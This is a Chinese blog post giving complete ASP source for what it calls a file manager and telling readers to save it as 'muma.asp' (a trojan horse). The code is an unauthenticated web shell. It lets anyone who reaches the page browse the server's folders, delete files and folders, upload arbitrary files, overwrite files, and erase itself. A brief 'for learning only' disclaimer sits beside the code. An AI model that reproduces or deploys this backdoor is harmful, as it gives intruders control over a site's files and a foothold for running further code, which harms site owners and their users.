ASP

ASP文件管理工具

把以下的代码选择,并保存为“muma.asp”,就可以用了。可以访问服务器的文件夹及文件,可以编辑并另存或覆盖文本类型文件。还有自毁功能……<%@LANGUAGE=”VBSCRIPT” CODEPAGE=”936″%>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
<title>ASP文件管理</title>
<style type=”text/css”>
<!–
TD {
font-size: 12px;
}
A {
COLOR: #333333; TEXT-DECORATION: none; margin-top: 0px;
}
A:link {
COLOR: #333333; TEXT-DECORATION: none
}
A:visited {
COLOR: #333333; TEXT-DECORATION: none
}
A:active {
COLOR: #333333; TEXT-DECORATION: none
}
A:hover {
COLOR: #333333;
TEXT-DECORATION: underline;
}
input {
BORDER: #CCCCCC 1px solid;
height: 21px;
}
body {
font-size: 14px;
}

–>
</style>
</head>
<body>
<%
Set fso = Server.CreateObject(“Scripting.FileSystemObject”)
path=Trim(Request.QueryString(“path”))
if path=”” then path=”/”

action=Trim(Request.QueryString(“action”))
select case action
case “”

Set objFolder = fso.GetFolder(server.MapPath(path))
%>
<table width=”600″ border=”0″ cellpadding=”1″ cellspacing=”1″ bgcolor=”#666666″>
<tr align=”center” bgcolor=”#ECE9D8″>
<td>文件名</td>
<td>文件类型</td>
<td>大小</td>
<td width=”10%”>删除</td>
<td width=”10%”>修改</td>
<td width=”10%”>下载</td>
</tr>
<%
For Each objItem In objFolder.SubFolders
If InStr(1, objItem, “_vti”, 1) = 0 Then
%>

<tr bgcolor=”#FFFFCC”>
<td><font face=”Wingdings”>1</font> <a href=”muma.asp?path=<%= path&objItem.name&”/” %>”><%= objItem.Name %></a></td>
<td>文件夹</td>
<td align=”right”><%= formatnumber(objItem.Size,0) %> 字节</td>
<td align=”center”> <font face=”Webdings”><a href=”muma.asp?action=delfolder&path=<%= path&objItem.name %>”>r</a></font></td>
<td align=”center”> </td>
<td align=”center”> </td>
</tr>

<%
End If
Next
For Each objItem In objFolder.Files
%>

<tr bgcolor=”#FFFFFF”>
<td> <font face=”Wingdings” size=”4″>2</font> <%= objItem.Name %></td>
<td><%= objItem.Type %></td>
<td align=”right”><%= formatnumber(objItem.Size,0) %> 字节</td>
<td align=”center”><font face=”Webdings”><a href=”muma.asp?action=delfile&path=<%= path&objItem.name %>”>r</a></font></td>
<td align=”center”> <font face=”Wingdings” size=”4″><a href=”muma.asp?action=edit&path=<%= path %>&fname=<%= objItem.name %>”>?</a></font></td>
<td align=”center”><font face=”Webdings”><a href=”<%= path&objItem.name %>” target=”_blank”>q</a></font></td>
</tr>

<%
Next
Set objItem = Nothing
Set objFolder = Nothing
%>

</table>
<p><a href=”muma.asp?action=del”>自毁</a> 仅供学习用,不要搞破坏啊。<a href=”muma.asp?action=about”>这是谁写的?</a><% if Trim(Request.QueryString(“path”)) <> “” then Response.Write(“<a href=muma.asp>返回</a>”) %></p>
<form name=”form1″ id=”form1″ enctype=”multipart/form-data” method=”post” action=”muma.asp?action=up”>
<input name=”file1″ type=”file” id=”file1″ />
<input type=”submit” name=”Submit” value=”上传” />
<input name=”uppath” type=”hidden” id=”uppath” value=”<%= path %>” />
</form>
<%

case”del”
call delfile(server.MapPath(“muma.asp”))
Response.Redirect(“muma.asp”)
case”delfile”
call delfile(server.MapPath(path))
Response.Redirect(“muma.asp”)
case”delfolder”
call delfolder(server.MapPath(path))
Response.Redirect(“muma.asp”)
case”up”
set upload=new upfile_class
maxsize = 10240000’最大上传大小
upload.GetData (maxsize)
if upload.err = true then’false:文件大小超过预定值,就不进行保存,直接跳过
if upload.file(“file1”).filesize > 0 then
path=Trim(upload.Form(“uppath”))
upload.file(“file1”).savetofile server.MapPath(path&upload.file(“file1”).filename)
end if
end if
set upload=nothing
Response.Redirect(“muma.asp?path=”&path)
case”edit”
read=openfile(server.mappath(Trim(Request.QueryString(“path”))&Trim(Request.QueryString(“fname”)) ))
%>
<table width=”600″ border=”0″ cellspacing=”1″ cellpadding=”1″>
<form name=”form2″ id=”form2″ method=”post” action=”muma.asp?action=save”>
<tr>
<td>
<textarea name=”text” id=”text” style=”width:600px;height:500px;”><%= server.htmlencode(read) %></textarea>
</td>
</tr>
<tr>
<td><input type=”submit” name=”Submit” value=”保存” />
<input name=”fname” type=”text” id=”fname” value=”<%= Trim(Request.QueryString(“fname”)) %>” />
文件名改一下就可以另存了。
<input name=”path” type=”hidden” id=”path” value=”<%= Trim(Request.QueryString(“path”)) %>” />
<a href=”muma.asp”>返回</a></td>
</tr>
</form>
</table>
<%
case”save”
read=Trim(Request.Form(“text”))
path=Trim(Request.Form(“path”))
fname=Trim(Request.Form(“fname”))
call crtfile(server.mappath(path&fname),read)
Response.Redirect(“muma.asp?path=”&path)
case”about”
Response.Write(“软件名称:ASP文件管理<br />”)
Response.Write(“作者:Sin.CS<br />”)
Response.Write(“网站:<a href=http://www.acms.com.cn/ target=_blank>http://www.acms.com.cn</a><br />”)
Response.Write(“声明:这个啊,用来玩玩的,不要搞破坏啊。。<br />”)
Response.Write(“<a href=muma.asp>返回</a>”)
end select

‘#############################以下部分是函数了,不用看了。######################
sub delfile(fpath)
Set fs = CreateObject(“Scripting.FileSystemObject”)
if fs.FileExists(fpath) then
fs.deletefile(fpath)
end if
set fs=nothing
end sub
sub crtfile(fpath,str)
Set fs=CreateObject(“Scripting.FileSystemObject”)
Set a=fs.CreateTextFile(fpath,True)
a.WriteLine(str)
a.Close
set fs=nothing
set a=nothing
end sub
sub delfolder(fpath)
Set fs=Server.CreateObject(“Scripting.FileSystemObject”)
if (fs.FolderExists(fpath)) then
fs.DeleteFolder(fpath)
end if
set fs= nothing
end sub
function openfile(fname)
Set fs = createObject(“Scripting.FileSystemObject”)
if fs.FileExists(fname) then
Set b = fs.OpenTextFile(fname)
read =b.ReadALL
b.Close
else
read = “”
end if
set fs=nothing
set b=nothing
openfile = read
end function
‘转发时请保留此声明信息,这段声明不并会影响你的速度!
‘******************* 无惧上传类 V1.2 修正版 ************************************
‘作者:梁无惧
‘网站:http://www.25cn.com
‘电子邮件:yjlrb@21cn.com
‘版权声明:版权所有,源代码公开,各种用途均可免费使用,但是修改后必须把修改后的文件
‘发送一份给作者.并且保留作者此版权信息
‘**********************************************************************
‘———————————————————————-
Dim oUpFileStream
‘———————————————————————-
‘文件上传类
Class UpFile_Class

Dim Form,File,Version,Err

Private Sub Class_Initialize
Version = “无惧上传类 Version V1.2”
Err = -1
End Sub

Private Sub Class_Terminate
‘清除变量及对像
If Err < 0 Then
Form.RemoveAll
Set Form = Nothing
File.RemoveAll
Set File = Nothing
oUpFileStream.Close
Set oUpFileStream = Nothing
End If
End Sub

Public Sub GetData (MaxSize)
‘定义变量
Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
Dim iFindStart,iFindEnd
Dim iFormStart,iFormEnd,sFormName
‘代码开始
If Request.TotalBytes < 1 Then ‘如果没有数据上传
Err = 1
Exit Sub
End If
If MaxSize > 0 Then ‘如果限制大小
If Request.TotalBytes > MaxSize Then
Err = 2 ‘如果上传的数据超出限制
Exit Sub
End If
End If
Set Form = Server.CreateObject (“Scripting.Dictionary”)
Form.CompareMode = 1
Set File = Server.CreateObject (“Scripting.Dictionary”)
File.CompareMode = 1
Set tStream = Server.CreateObject (“ADODB.Stream”)
Set oUpFileStream = Server.CreateObject (“ADODB.Stream”)
oUpFileStream.Type = 1
oUpFileStream.Mode = 3
oUpFileStream.Open
oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
oUpFileStream.Position = 0
RequestBinDate = oUpFileStream.Read
iFormEnd = oUpFileStream.Size
bCrLf = ChrB (13) & ChrB (10)
‘取得每个项目之间的分隔符
sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1)
iStart = LenB (sSpace)
iFormStart = iStart+2
‘分解项目
Do
iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3
tStream.Type = 1
tStream.Mode = 3
tStream.Open
oUpFileStream.Position = iFormStart
oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = “gb2312″
sInfo = tStream.ReadText
‘取得表单项目名称
iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1
iFindStart = InStr (22,sInfo,”name=”””,1)+6
iFindEnd = InStr (iFindStart,sInfo,””””,1)
sFormName = Trim(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
‘如果是文件
If InStr (45,sInfo,”filename=”””,1) > 0 Then
Set oFileInfo = new FileInfo_Class
‘取得文件属性
iFindStart = InStr (iFindEnd,sInfo,”filename=”””,1)+10
iFindEnd = InStr (iFindStart,sInfo,””””,1)
sFileName = Trim(Mid(sinfo,iFindStart,iFindEnd-iFindStart))
oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, “\”)+1)
oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, “\”))
oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, “.”)+1)
iFindStart = InStr (iFindEnd,sInfo,”Content-Type: “,1)+14
iFindEnd = InStr (iFindStart,sInfo,vbCr)
oFileInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
oFileInfo.FileStart = iInfoEnd
oFileInfo.FileSize = iFormStart -iInfoEnd -2
oFileInfo.FormName = sFormName
file.add sFormName,oFileInfo
else
‘如果是表单项目
tStream.Close
tStream.Type = 1
tStream.Mode = 3
tStream.Open
oUpFileStream.Position = iInfoEnd
oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = “gb2312”
sFormValue = tStream.ReadText
If Form.Exists (sFormName) Then
Form (sFormName) = Form (sFormName) & “, ” & sFormValue
else
form.Add sFormName,sFormValue
End If
End If
tStream.Close
iFormStart = iFormStart+iStart+2
‘如果到文件尾了就退出
Loop Until (iFormStart+2) >= iFormEnd
RequestBinDate = “”
Set tStream = Nothing
End Sub
End Class

‘—————————————————————————————————-
‘文件属性类
Class FileInfo_Class
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
‘保存文件方法
Public Function SaveToFile (Path)
On Error Resume Next
Dim oFileStream
Set oFileStream = CreateObject (“ADODB.Stream”)
oFileStream.Type = 1
oFileStream.Mode = 3
oFileStream.Open
oUpFileStream.Position = FileStart
oUpFileStream.CopyTo oFileStream,FileSize
oFileStream.SaveToFile Path,2
oFileStream.Close
Set oFileStream = Nothing
End Function

‘取得文件数据
Public Function FileData
oUpFileStream.Position = FileStart
FileData = oUpFileStream.Read (FileSize)
End Function

End Class
%>
</body>
</html>

分类: ASP

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

这个站点使用 Akismet 来减少垃圾评论。了解你的评论数据如何被处理

相关文章

开始在上面输入您的搜索词,然后按回车进行搜索。按ESC取消。

返回顶部